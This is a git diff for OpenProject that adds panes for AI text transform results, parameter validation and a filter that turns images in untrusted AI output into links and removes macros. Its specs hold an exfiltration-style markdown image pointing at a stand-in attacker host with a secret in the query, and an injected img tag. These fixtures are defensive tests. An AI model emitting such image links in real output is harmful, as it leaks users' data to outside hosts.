diff --git a/app/components/ai/text_transforms/result_pane_component/body.rb b/app/components/ai/text_transforms/result_pane_component/body.rb index 4d4ba833352f..dbb2bb81561d 100644 --- a/app/components/ai/text_transforms/result_pane_component/body.rb +++ b/app/components/ai/text_transforms/result_pane_component/body.rb @@ -56,7 +56,7 @@ def done? end def output - helpers.format_text(pane.text, object: pane.work_package) + helpers.format_text(pane.text, object: pane.work_package, project: pane.project, untrusted_source: true) end end end diff --git a/app/components/ai/text_transforms/result_pane_state.rb b/app/components/ai/text_transforms/result_pane_state.rb index 7706018c5314..27c0473bb5c8 100644 --- a/app/components/ai/text_transforms/result_pane_state.rb +++ b/app/components/ai/text_transforms/result_pane_state.rb @@ -30,18 +30,20 @@ module AI module TextTransforms class ResultPaneState - attr_reader :run, :scope, :request_id, :work_package, :context_ids, :rejection + attr_reader :run, :scope, :request_id, :context, :rejection - def self.rejected(message:, label:, scope:, request_id:, context_ids: {}) - new(run: nil, scope:, request_id:, label:, context_ids:, rejection: message) + delegate :work_package, :project, to: :context + delegate :ids, to: :context, prefix: true + + def self.rejected(message:, label:, scope:, request_id:, context: Context.none) + new(run: nil, scope:, request_id:, label:, context:, rejection: message) end - def initialize(run:, scope:, request_id:, work_package: nil, context_ids: {}, label: nil, rejection: nil) + def initialize(run:, scope:, request_id:, context: Context.none, label: nil, rejection: nil) @run = run @scope = scope @request_id = request_id - @work_package = work_package - @context_ids = context_ids + @context = context @label = label @rejection = rejection end diff --git a/app/contracts/ai/text_transforms/pane_params_contract.rb b/app/contracts/ai/text_transforms/pane_params_contract.rb new file mode 100644 index 000000000000..49bed8719543 --- /dev/null +++ b/app/contracts/ai/text_transforms/pane_params_contract.rb @@ -0,0 +1,66 @@ +# frozen_string_literal: true + +#-- copyright +# OpenProject is an open source project management software. +# Copyright (C) the OpenProject GmbH +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License version 3. +# +# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows: +# Copyright (C) 2006-2013 Jean-Philippe Lang +# Copyright (C) 2010-2013 the ChiliProject Team +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License +# as published by the Free Software Foundation; either version 2 +# of the License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# See COPYRIGHT and LICENSE files for more details. +#++ + +module AI + module TextTransforms + class PaneParamsContract < DryApplicationContract + SCOPES = %w[document selection].freeze + STATES = %w[generating done failed stopped cancelled].freeze + CONTEXT_KEYS = %i[work_package_id project_id type_id].freeze + KEYS = %i[request_id scope work_package_id project_id type_id after state action_id input retry_of].freeze + + config.messages.namespace = :ai_text_transform_pane + + params do + required(:request_id).filled(:string, :uuid_v4?) + required(:scope).filled(:string, included_in?: SCOPES) + optional(:work_package_id).maybe(:integer, gt?: 0) + optional(:project_id).maybe(:integer, gt?: 0) + optional(:type_id).maybe(:integer, gt?: 0) + optional(:after).maybe(:integer, gteq?: 0) + optional(:state).maybe(:string, included_in?: STATES) + optional(:action_id).maybe(:integer, gt?: 0) + optional(:input).maybe(:string, max_size?: AI::TextTransformRun::MAX_INPUT_LENGTH) + optional(:retry_of).maybe(:string, :uuid_v4?) + end + + rule(:project_id, :work_package_id) do + key(:project_id).failure(:with_work_package) if values[:project_id] && values[:work_package_id] + end + + rule(:type_id, :project_id) do + key(:type_id).failure(:without_project) if values[:type_id].nil? != values[:project_id].nil? + end + + rule(:retry_of, :action_id, :input) do + key(:retry_of).failure(:with_action) if values[:retry_of] && (values[:action_id] || values[:input]) + end + end + end +end diff --git a/app/controllers/ai/text_transform_panes_controller.rb b/app/controllers/ai/text_transform_panes_controller.rb new file mode 100644 index 000000000000..ed208767ffc3 --- /dev/null +++ b/app/controllers/ai/text_transform_panes_controller.rb @@ -0,0 +1,179 @@ +# frozen_string_literal: true + +#-- copyright +# OpenProject is an open source project management software. +# Copyright (C) the OpenProject GmbH +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License version 3. +# +# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows: +# Copyright (C) 2006-2013 Jean-Philippe Lang +# Copyright (C) 2010-2013 the ChiliProject Team +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License +# as published by the Free Software Foundation; either version 2 +# of the License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# See COPYRIGHT and LICENSE files for more details. +#++ + +module AI + class TextTransformPanesController < ApplicationController + include OpTurbo::ComponentStream + include AI::TextTransformActionsFeature + + ACCEPTED_EVENT = "op-dispatched:ai-text-transform:accepted" + CLOSED_EVENT = "op-dispatched:ai-text-transform:closed" + + before_action :require_login + before_action :require_ai_text_transform_actions_feature + authorization_checked! :create, :show, :destroy, :apply, :cancel + before_action :validate_pane_params, except: %i[destroy cancel] + before_action :find_run, only: %i[show apply cancel] + before_action :find_retried_run, only: :create + before_action :resolve_context, only: %i[create apply] + + def show + return head(:no_content) if unchanged? + + run.cancelled? ? close_pane : update_sections + respond_with_turbo_streams unless performed? + end + + def create + append_to_body_via_turbo_stream(component: AI::TextTransforms::ResultPaneComponent.new(pane: start_run)) + + respond_with_turbo_streams + end + + def destroy + own_runs.find_by(uuid: params[:uuid])&.request_cancel! + close_pane + + respond_with_turbo_streams + end + + def apply + return head(:unprocessable_entity) unless run.succeeded? + + dispatch_event_via_turbo_stream(ACCEPTED_EVENT, detail: { requestId: request_id, + scope: pane_params[:scope], + text: pane_for(run).text }) + + respond_with_turbo_streams + end + + def cancel + run.request_cancel! + + head :no_content + end + + private + + attr_reader :run, :retried_run + + def own_runs + AI::TextTransformRun.where(user: current_user) + end + + def find_run + @run = own_runs.find_by(uuid: params[:uuid]) + head :not_found unless run + end + + def find_retried_run + return unless pane_params[:retry_of] + + @retried_run = own_runs.failed.find_by(uuid: pane_params[:retry_of]) + head :not_found unless retried_run + end + + def pane_params + @pane_params ||= pane_contract.call(params.permit(*AI::TextTransforms::PaneParamsContract::KEYS).to_h) + end + + def pane_contract + AI::TextTransforms::PaneParamsContract.new + end + + def validate_pane_params + head :bad_request if pane_params.failure? + end + + def request_id + pane_params[:request_id] unless pane_params.error?(:request_id) + end + + def unchanged? + return false if run.events_after(pane_params[:after]).exists? + + seen_state = pane_params[:state] + seen_state ? seen_state == pane_for(run).state : !run.terminal? + end + + def context + @context || AI::TextTransforms::Context.none + end + + def resolve_context + call = AI::TextTransforms::ResolveContext.new(user: current_user).call(**context_ids) + return @context = call.result if call.success? + + head(call.errors.any? { |error| error.type == :error_not_found } ? :not_found : :forbidden) + end + + def context_ids + pane_params.to_h.slice(*AI::TextTransforms::PaneParamsContract::CONTEXT_KEYS).compact + end + + def start_run + action, content = run_source + call = AI::TextTransforms::CreateRun.new(user: current_user, action:, context:, content:).call + call.success? ? pane_for(call.result) : rejected_pane(call.errors, action) + end + + def run_source + return [retried_run.action, retried_run.input] if retried_run + + [AI::TextTransformAction.find_by(id: pane_params[:action_id]), pane_params[:input].to_s] + end + + def pane_for(pane_run) + AI::TextTransforms::ResultPaneState.new(run: pane_run, scope: pane_params[:scope], request_id:, context:) + end + + def rejected_pane(errors, action) + AI::TextTransforms::ResultPaneState.rejected(message: errors.full_messages.first, + label: action&.label.to_s, + scope: pane_params[:scope], + request_id:, + context:) + end + + def update_sections + resolve_context + return if performed? + + pane = pane_for(run) + [AI::TextTransforms::ResultPaneComponent::Body, AI::TextTransforms::ResultPaneComponent::Footer].each do |section| + update_via_turbo_stream(component: section.new(pane:)) + end + end + + def close_pane + remove_via_turbo_stream(component: AI::TextTransforms::ResultPaneComponent.new(pane: nil)) + dispatch_event_via_turbo_stream(CLOSED_EVENT, detail: { requestId: request_id }) if request_id + end + end +end diff --git a/app/controllers/concerns/op_turbo/component_stream.rb b/app/controllers/concerns/op_turbo/component_stream.rb index 1225d2225de7..a4212171e33b 100644 --- a/app/controllers/concerns/op_turbo/component_stream.rb +++ b/app/controllers/concerns/op_turbo/component_stream.rb @@ -194,6 +194,16 @@ def dispatch_event_via_turbo_stream(name, detail: {}) .render_in(view_context) end + # Appends a component to ``, for elements that live outside the page + # layout. Turbo replaces a direct child of `` with the same id. + def append_to_body_via_turbo_stream(component:) + turbo_streams << lambda { + OpTurbo::StreamComponent + .new(action: :append, target: nil, targets: "body", template: component.render_in(view_context)) + .render_in(view_context) + } + end + def turbo_streams @turbo_streams ||= [] end diff --git a/app/models/ai/text_transform_run.rb b/app/models/ai/text_transform_run.rb index 754ef2bf99a7..24ae0f848007 100644 --- a/app/models/ai/text_transform_run.rb +++ b/app/models/ai/text_transform_run.rb @@ -80,6 +80,10 @@ def start! update!(status: "running") end + def request_cancel! + update_column(:cancel_requested, true) unless terminal? + end + def finish!(status, error_message: nil) raise ArgumentError, "#{status} is not a terminal status" unless TERMINAL_STATUSES.include?(status.to_s) diff --git a/app/services/ai/text_transforms/context.rb b/app/services/ai/text_transforms/context.rb index bd8bb0eebf23..a43e62b29dd3 100644 --- a/app/services/ai/text_transforms/context.rb +++ b/app/services/ai/text_transforms/context.rb @@ -50,6 +50,16 @@ def initialize(work_package:, project:, type:) @type = type end + def ids + if work_package + { work_package_id: work_package.id } + elsif project + { project_id: project.id, type_id: type.id } + else + {} + end + end + def type_variant return @type_variant if defined?(@type_variant) diff --git a/config/locales/en.yml b/config/locales/en.yml index 31ae8ebcb4d7..a379f18c6c4f 100644 --- a/config/locales/en.yml +++ b/config/locales/en.yml @@ -5762,6 +5762,14 @@ en: op_dry_validation: errors: + ai_text_transform_pane: + rules: + project_id: + with_work_package: "must not be combined with a work package." + retry_of: + with_action: "must not be combined with an action or input." + type_id: + without_project: "must be given together with a project." array?: "must be an array." decimal?: "must be a decimal." defined: "must not be defined." @@ -5769,6 +5777,7 @@ en: filled?: "must be filled." format?: "is in invalid format." greater_or_equal_zero: "must be greater or equal to 0." + gt?: "must be greater than %{num}." gteq?: "must be greater than or equal to %{num}." hash?: "must be a hash." included_in?: @@ -5777,6 +5786,7 @@ en: range: "must be one of: %{list_left} - %{list_right}." int?: "must be an integer." key?: "is missing." + max_size?: "must not be longer than %{num} characters." not_found: "not found." respond_to?: "does not implement required method." rules: @@ -5796,6 +5806,7 @@ en: type?: "must be %{type}." unexpected_key: "is not allowed." uri?: "is not a valid URI." + uuid_v4?: "must be a UUID (version 4)." or: "or" rules: blueprint: "Pattern blueprint" @@ -7254,6 +7265,7 @@ en: You can freely group the fields to reflect the needs for your domain. text_form_configuration_required_attribute: "Attribute is marked required and thus always shown" text_formatting: + image_link: "Image: %{name}" markdown: "Markdown" plain: "Plain text" text_git_repo_example: "a bare and local repository (e.g. /gitrepo, c:\\gitrepo)" diff --git a/config/routes.rb b/config/routes.rb index fbdc00bfec04..c4568ab38903 100644 --- a/config/routes.rb +++ b/config/routes.rb @@ -485,6 +485,15 @@ end end + namespace :ai do + resources :text_transform_panes, only: %i[create show destroy], param: :uuid do + member do + post :apply + post :cancel + end + end + end + namespace :projects do resource :menu, only: %i[show] resource :filters, only: %i[show] diff --git a/lib/api/v3/ai/text_transform_runs_api.rb b/lib/api/v3/ai/text_transform_runs_api.rb index 59707297f249..b21745212665 100644 --- a/lib/api/v3/ai/text_transform_runs_api.rb +++ b/lib/api/v3/ai/text_transform_runs_api.rb @@ -104,7 +104,7 @@ def raise_create_failure(errors) namespace :cancel do post do - @run.update!(cancel_requested: true) unless @run.terminal? + @run.request_cancel! status 204 end diff --git a/lib/open_project/text_formatting/filters/untrusted_source_filter.rb b/lib/open_project/text_formatting/filters/untrusted_source_filter.rb new file mode 100644 index 000000000000..c6b0706e0457 --- /dev/null +++ b/lib/open_project/text_formatting/filters/untrusted_source_filter.rb @@ -0,0 +1,52 @@ +# frozen_string_literal: true + +#-- copyright +# OpenProject is an open source project management software. +# Copyright (C) the OpenProject GmbH +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License version 3. +# +# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows: +# Copyright (C) 2006-2013 Jean-Philippe Lang +# Copyright (C) 2010-2013 the ChiliProject Team +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License +# as published by the Free Software Foundation; either version 2 +# of the License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# See COPYRIGHT and LICENSE files for more details. +#++ + +module OpenProject::TextFormatting + module Filters + class UntrustedSourceFilter < HTML::Pipeline::Filter + def call + return doc unless context[:untrusted_source] + + doc.css("macro").each(&:remove) + doc.css("img").each { |image| image.replace(link_for(image)) } + + doc + end + + private + + def link_for(image) + source = image["src"].to_s + link = doc.document.create_element("a", href: source) + link.content = I18n.t("text_formatting.image_link", name: image["alt"].presence || source) + link + end + end + end +end diff --git a/lib/open_project/text_formatting/formats/markdown/formatter.rb b/lib/open_project/text_formatting/formats/markdown/formatter.rb index 6d9d41909c6e..0fe1e277ddcf 100644 --- a/lib/open_project/text_formatting/formats/markdown/formatter.rb +++ b/lib/open_project/text_formatting/formats/markdown/formatter.rb @@ -44,6 +44,7 @@ class Formatter < OpenProject::TextFormatting::Formats::BaseFormatter OpenProject::TextFormatting::Filters::AttachmentFilter, OpenProject::TextFormatting::Filters::AutolinkFilter, OpenProject::TextFormatting::Filters::AutolinkCustomProtocolsFilter, + OpenProject::TextFormatting::Filters::UntrustedSourceFilter, OpenProject::TextFormatting::Filters::RelativeLinkFilter, OpenProject::TextFormatting::Filters::LinkAttributeFilter, OpenProject::TextFormatting::Filters::ExternalLinkCaptureFilter, diff --git a/spec/components/ai/text_transforms/result_pane_component/body_spec.rb b/spec/components/ai/text_transforms/result_pane_component/body_spec.rb index de8b0e0d0cbf..93dfe2f8eb2e 100644 --- a/spec/components/ai/text_transforms/result_pane_component/body_spec.rb +++ b/spec/components/ai/text_transforms/result_pane_component/body_spec.rb @@ -74,6 +74,30 @@ end end + context "with an image in the output" do + before do + run.events.build(kind: "text_delta", payload: { "delta" => " ![chart](https://attacker.example/?d=secret)" }, seq: 2) + end + + it "links the image instead of loading it" do + expect(subject).to have_no_css("img", visible: :all) + expect(subject).to have_link("Image: chart", href: "https://attacker.example/?d=secret") + end + end + + context "for a new work package of a project" do + let(:type) { create(:type) } + let(:project) { create(:project, :with_internal_wiki, types: [type]).reload } + let(:context) { AI::TextTransforms::Context.for_new_work_package(project:, type:) } + let(:pane) { AI::TextTransforms::ResultPaneState.new(run:, scope:, request_id: SecureRandom.uuid, context:) } + + before { run.events.build(kind: "text_delta", payload: { "delta" => " [[Release notes]]" }, seq: 2) } + + it "resolves wiki links within the project" do + expect(subject).to have_link("Release notes", href: %r{\A/projects/#{project.identifier}/wiki/release-notes}) + end + end + context "when stopped" do let(:status) { "failed" } diff --git a/spec/contracts/ai/text_transforms/pane_params_contract_spec.rb b/spec/contracts/ai/text_transforms/pane_params_contract_spec.rb new file mode 100644 index 000000000000..47b861628dd0 --- /dev/null +++ b/spec/contracts/ai/text_transforms/pane_params_contract_spec.rb @@ -0,0 +1,80 @@ +# frozen_string_literal: true + +#-- copyright +# OpenProject is an open source project management software. +# Copyright (C) the OpenProject GmbH +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License version 3. +# +# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows: +# Copyright (C) 2006-2013 Jean-Philippe Lang +# Copyright (C) 2010-2013 the ChiliProject Team +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License +# as published by the Free Software Foundation; either version 2 +# of the License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# See COPYRIGHT and LICENSE files for more details. +#++ + +require "spec_helper" + +RSpec.describe AI::TextTransforms::PaneParamsContract do + let(:valid) { { request_id: SecureRandom.uuid, scope: "document" } } + + def errors_for(params) + described_class.new.call(valid.merge(params)).errors + end + + it "accepts a request id and a scope without a context" do + expect(errors_for({})).to be_empty + end + + { + "a work package" => { work_package_id: "7" }, + "a project and a type" => { project_id: "1", type_id: "2" }, + "blank context ids" => { work_package_id: "", project_id: "1", type_id: "2" }, + "an action and input" => { action_id: "3", input: "Text" }, + "a retry" => { retry_of: SecureRandom.uuid }, + "a poll position and state" => { after: "0", state: "done" } + }.each do |description, params| + it "accepts #{description}" do + expect(errors_for(params)).to be_empty + end + end + + { + "a request id that is not a UUID" => [{ request_id: "pane-1" }, :request_id, "must be a UUID (version 4)."], + "a missing request id" => [{ request_id: nil }, :request_id, "must be filled."], + "an unknown scope" => [{ scope: "page" }, :scope, "must be one of: document, selection."], + "a non-numeric action id" => [{ action_id: "fix" }, :action_id, "must be an integer."], + "an unknown state" => [{ state: "paused" }, :state, "must be one of: generating, done, failed, stopped, cancelled."], + "a work package together with a project" => + [{ work_package_id: "7", project_id: "1", type_id: "2" }, :project_id, "must not be combined with a work package."], + "a project without a type" => [{ project_id: "1" }, :type_id, "must be given together with a project."], + "a type without a project" => [{ type_id: "2" }, :type_id, "must be given together with a project."], + "a retry together with an action" => + [{ retry_of: SecureRandom.uuid, action_id: "3" }, :retry_of, "must not be combined with an action or input."], + "a retry that is not a UUID" => [{ retry_of: "run-1" }, :retry_of, "must be a UUID (version 4)."] + }.each do |description, (params, key, message)| + it "rejects #{description}" do + expect(errors_for(params)[key]).to contain_exactly(message) + end + end + + it "rejects input over the maximum length of a run" do + input = "x" * (AI::TextTransformRun::MAX_INPUT_LENGTH + 1) + + expect(errors_for(input:)[:input]).to be_present + end +end diff --git a/spec/controllers/concerns/op_turbo/component_stream_spec.rb b/spec/controllers/concerns/op_turbo/component_stream_spec.rb index a8f89fe7d0bc..a772ec5f57bb 100644 --- a/spec/controllers/concerns/op_turbo/component_stream_spec.rb +++ b/spec/controllers/concerns/op_turbo/component_stream_spec.rb @@ -35,13 +35,18 @@ controller(ApplicationController) do include described_module - no_authorization_required! :update, :set_page_title + no_authorization_required! :update, :set_page_title, :append_to_body def update dispatch_event_via_turbo_stream(params[:event_name], detail: { work_package_id: 42 }) respond_to_with_turbo_streams end + def append_to_body + append_to_body_via_turbo_stream(component: Primer::Beta::Octicon.new(icon: :sparkle, id: "appended")) + respond_to_with_turbo_streams + end + def set_page_title project = Project.new(name: params[:project_name]) if params[:project_name].present? set_page_title_via_turbo_stream(*params[:parts], project:) @@ -55,6 +60,17 @@ def set_page_title routes.draw do get "update" => "anonymous#update" get "set_page_title" => "anonymous#set_page_title" + get "append_to_body" => "anonymous#append_to_body" + end + end + + describe "#append_to_body_via_turbo_stream" do + it "renders an append turbo stream targeting the body" do + get :append_to_body, as: :turbo_stream + + stream = Nokogiri::HTML5.fragment(response.body).at_css('turbo-stream[action="append"]') + expect(stream["targets"]).to eq("body") + expect(stream.at_css("template svg#appended")).to be_present end end diff --git a/spec/lib/open_project/text_formatting/filters/untrusted_source_filter_spec.rb b/spec/lib/open_project/text_formatting/filters/untrusted_source_filter_spec.rb new file mode 100644 index 000000000000..5551f6683c0b --- /dev/null +++ b/spec/lib/open_project/text_formatting/filters/untrusted_source_filter_spec.rb @@ -0,0 +1,68 @@ +# frozen_string_literal: true + +#-- copyright +# OpenProject is an open source project management software. +# Copyright (C) the OpenProject GmbH +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License version 3. +# +# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows: +# Copyright (C) 2006-2013 Jean-Philippe Lang +# Copyright (C) 2010-2013 the ChiliProject Team +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License +# as published by the Free Software Foundation; either version 2 +# of the License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# See COPYRIGHT and LICENSE files for more details. +#++ + +require "spec_helper" + +RSpec.describe OpenProject::TextFormatting::Filters::UntrustedSourceFilter do + let(:html) do + '

Text Logo

' \ + '' + end + + subject(:result) { described_class.new(html, context).call.to_html } + + context "for an untrusted source" do + let(:context) { { untrusted_source: true } } + + it "turns images into links so that nothing is fetched" do + expect(result).not_to include("Image: Logo') + expect(result).to include('Image: /attachments/1') + end + + it "removes macros" do + expect(result).not_to include(". +# +# See COPYRIGHT and LICENSE files for more details. +#++ + +require "spec_helper" + +RSpec.describe "AI text transform panes", :skip_csrf, type: :rails_request, + with_flag: { ai_text_transform_actions: true }, + with_settings: { ai_text_transform_actions_enabled: true } do + shared_let(:type) { create(:type) } + shared_let(:project) { create(:project, types: [type]) } + shared_let(:work_package) { create(:work_package, project:, type:) } + shared_let(:action) { create(:ai_text_transform_action, label: "Fix grammar") } + shared_let(:user) do + create(:user, member_with_permissions: { project => %i[view_work_packages edit_work_packages add_work_packages] }) + end + + let(:request_id) { SecureRandom.uuid } + let(:stream) { { "Accept" => "text/vnd.turbo-stream.html" } } + let(:pane_params) { { request_id:, scope: "selection", work_package_id: work_package.id } } + let(:start_params) { pane_params.merge(action_id: action.id, input: "Login page dont work.") } + + current_user { user } + + before do + allow(AI::TextTransforms::Gateway).to receive(:build).and_return(AI::TextTransforms::FakeGateway.new) + end + + def run_with_events(status, *events) + create(:ai_text_transform_run, status, user:, action:).tap do |run| + events.each.with_index(1) { |(kind, payload), seq| create(:ai_text_transform_run_event, run:, seq:, kind:, payload:) } + end + end + + describe "POST create" do + it "starts a run and appends the pane to the body" do + expect { post ai_text_transform_panes_path, params: start_params, headers: stream } + .to have_enqueued_job(AI::TextTransformJob) + + expect(AI::TextTransformRun.sole).to have_attributes(user:, input: "Login page dont work.", status: "queued") + expect(response).to have_http_status(:ok) + expect(response.body).to include('action="append"', 'targets="body"', 'id="ai-text-transforms-result-pane-component"', + "Fix grammar", "Generating…") + end + + it "starts a run for a new work package of a project and type" do + post ai_text_transform_panes_path, + params: start_params.except(:work_package_id).merge(project_id: project.id, type_id: type.id), + headers: stream + + expect(response).to have_http_status(:ok) + expect(AI::TextTransformRun.count).to eq(1) + end + + it "repeats a run of the user's with its action and input" do + failed = run_with_events(:failed, ["error", { "reason" => "upstream_error", "message" => "Failed." }]) + + post ai_text_transform_panes_path, params: pane_params.merge(retry_of: failed.uuid), headers: stream + + retried = AI::TextTransformRun.where.not(id: failed.id).sole + expect(retried).to have_attributes(action: failed.action, input: failed.input, status: "queued") + end + + it "does not repeat a run that is still running" do + running = run_with_events(:running) + + post ai_text_transform_panes_path, params: pane_params.merge(retry_of: running.uuid), headers: stream + + expect(response).to have_http_status(:not_found) + expect(AI::TextTransformRun.count).to eq(1) + end + + it "does not repeat another user's run" do + other = create(:ai_text_transform_run, :failed) + + post ai_text_transform_panes_path, params: pane_params.merge(retry_of: other.uuid), headers: stream + + expect(response).to have_http_status(:not_found) + expect(AI::TextTransformRun.count).to eq(1) + end + + it "renders the pane as failed when the action is not available" do + inactive = create(:ai_text_transform_action, label: "Inactive", active: false) + + post ai_text_transform_panes_path, params: start_params.merge(action_id: inactive.id), headers: stream + + expect(response).to have_http_status(:ok) + expect(AI::TextTransformRun.count).to eq(0) + expect(response.body).to include('action="append"', "Inactive", "Generation failed") + end + + context "without the permission to edit the work package" do + current_user { create(:user, member_with_permissions: { project => %i[view_work_packages] }) } + + it "is forbidden" do + post ai_text_transform_panes_path, params: start_params, headers: stream + + expect(response).to have_http_status(:forbidden) + expect(AI::TextTransformRun.count).to eq(0) + end + end + + it "does not find an invisible work package" do + post ai_text_transform_panes_path, params: start_params.merge(work_package_id: create(:work_package).id), headers: stream + + expect(response).to have_http_status(:not_found) + end + + it "does not find a type that is not enabled in the project" do + other_type = create(:type) + + post ai_text_transform_panes_path, + params: start_params.except(:work_package_id).merge(project_id: project.id, type_id: other_type.id), + headers: stream + + expect(response).to have_http_status(:not_found) + expect(AI::TextTransformRun.count).to eq(0) + end + + it "rejects invalid parameters" do + post ai_text_transform_panes_path, params: start_params.merge(request_id: "pane-1"), headers: stream + + expect(response).to have_http_status(:bad_request) + expect(AI::TextTransformRun.count).to eq(0) + end + + context "when not logged in" do + current_user { User.anonymous } + + it "starts no run" do + post ai_text_transform_panes_path, params: start_params, headers: stream + + expect(response).not_to have_http_status(:ok) + expect(AI::TextTransformRun.count).to eq(0) + end + end + end + + context "with the feature flag inactive", with_flag: { ai_text_transform_actions: false } do + let(:run) { run_with_events(:succeeded, ["completed", { "text" => "Done." }]) } + + { + "create" => ->(_run, params) { [:post, ai_text_transform_panes_path, params] }, + "show" => ->(run, params) { [:get, ai_text_transform_pane_path(run.uuid, **params), {}] }, + "destroy" => ->(run, params) { [:delete, ai_text_transform_pane_path(run.uuid), params] }, + "apply" => ->(run, params) { [:post, apply_ai_text_transform_pane_path(run.uuid), params] }, + "cancel" => ->(run, _params) { [:post, cancel_ai_text_transform_pane_path(run.uuid), {}] } + }.each do |name, request| + it "is not found for #{name}" do + verb, path, params = instance_exec(run, start_params, &request) + + public_send(verb, path, params:, headers: stream) + + expect(response).to have_http_status(:not_found) + end + end + end + + describe "GET show" do + it "answers without content while nothing new happened" do + run = run_with_events(:running, ["status", { "status" => "running" }]) + allow(AI::TextTransforms::ResolveContext).to receive(:new).and_call_original + + get ai_text_transform_pane_path(run.uuid, **pane_params, after: 1), headers: stream + + expect(response).to have_http_status(:no_content) + expect(AI::TextTransforms::ResolveContext).not_to have_received(:new) + end + + it "answers without content once the client has seen the final state" do + run = run_with_events(:succeeded, ["completed", { "text" => "Done." }]) + + get ai_text_transform_pane_path(run.uuid, **pane_params, after: 1, state: "done"), headers: stream + + expect(response).to have_http_status(:no_content) + end + + it "updates a pane whose run finished after its last event" do + run = run_with_events(:succeeded, ["completed", { "text" => "Done." }]) + + get ai_text_transform_pane_path(run.uuid, **pane_params, after: 1, state: "generating"), headers: stream + + expect(response).to have_http_status(:ok) + expect(response.body).to include("Replace") + end + + it "streams the text so far as formatted html" do + run = run_with_events(:running, ["status", { "status" => "running" }], ["text_delta", { "delta" => "**bold** text" }]) + + get ai_text_transform_pane_path(run.uuid, **pane_params, after: 1), headers: stream + + expect(response).to have_http_status(:ok) + expect(response.body).to include('action="update"', 'target="ai-text-transforms-result-pane-component-body"', + 'target="ai-text-transforms-result-pane-component-footer"', + "bold text", "Generating…") + end + + it "offers the raw text once completed" do + run = run_with_events(:succeeded, ["completed", { "text" => "**done**" }]) + + get ai_text_transform_pane_path(run.uuid, **pane_params, after: 0), headers: stream + + expect(response.body).to include("done", "", "Replace") + end + + it "keeps markup in the raw text inside its template" do + run = run_with_events(:succeeded, ["completed", { "text" => %(a < b "quoted" ) }]) + + get ai_text_transform_pane_path(run.uuid, **pane_params), headers: stream + + expect(response.body).to include("a < b "quoted" </template><img src=x>") + expect(response.body).not_to include("") + end + + it "shows the stopped state for a blocked response" do + run = run_with_events(:failed, ["error", { "reason" => "blocked", "message" => "Blocked." }]) + + get ai_text_transform_pane_path(run.uuid, **pane_params), headers: stream + + expect(response.body).to include("Generation stopped", "Try again") + end + + it "removes the pane of a cancelled run and reports the closed request" do + run = run_with_events(:cancelled) + + get ai_text_transform_pane_path(run.uuid, **pane_params), headers: stream + + expect(response.body).to include('action="remove"', "op-dispatched:ai-text-transform:closed", request_id) + end + + it "is forbidden once the permission to edit the work package is gone" do + run = run_with_events(:succeeded, ["completed", { "text" => "Done." }]) + viewable = create(:project, types: [type]) + create(:member, project: viewable, principal: user, roles: [create(:project_role, permissions: %i[view_work_packages])]) + other = create(:work_package, project: viewable, type:) + + get ai_text_transform_pane_path(run.uuid, **pane_params, work_package_id: other.id), headers: stream + + expect(response).to have_http_status(:forbidden) + end + + it "does not show another user's run" do + run = create(:ai_text_transform_run, :running) + + get ai_text_transform_pane_path(run.uuid, **pane_params), headers: stream + + expect(response).to have_http_status(:not_found) + end + end + + describe "DELETE destroy" do + it "cancels a running run, removes the pane and reports the closed request" do + run = run_with_events(:running) + + delete ai_text_transform_pane_path(run.uuid), params: pane_params, headers: stream + + expect(run.reload.cancel_requested).to be(true) + expect(response.body).to include('action="remove"', 'target="ai-text-transforms-result-pane-component"', + "op-dispatched:ai-text-transform:closed", request_id) + end + + it "leaves a finished run as it is" do + run = run_with_events(:succeeded, ["completed", { "text" => "Done." }]) + + delete ai_text_transform_pane_path(run.uuid), params: pane_params, headers: stream + + expect(response).to have_http_status(:ok) + expect(run.reload.cancel_requested).to be(false) + end + + it "cancels the run even without a valid request id" do + run = run_with_events(:running) + + delete ai_text_transform_pane_path(run.uuid), params: { request_id: "pane-1" }, headers: stream + + expect(response).to have_http_status(:ok) + expect(run.reload.cancel_requested).to be(true) + expect(response.body).to include('action="remove"') + expect(response.body).not_to include("op-dispatched:ai-text-transform:closed") + end + + it "closes a pane without a run" do + delete ai_text_transform_pane_path("rejected"), params: pane_params, headers: stream + + expect(response).to have_http_status(:ok) + expect(response.body).to include('action="remove"', 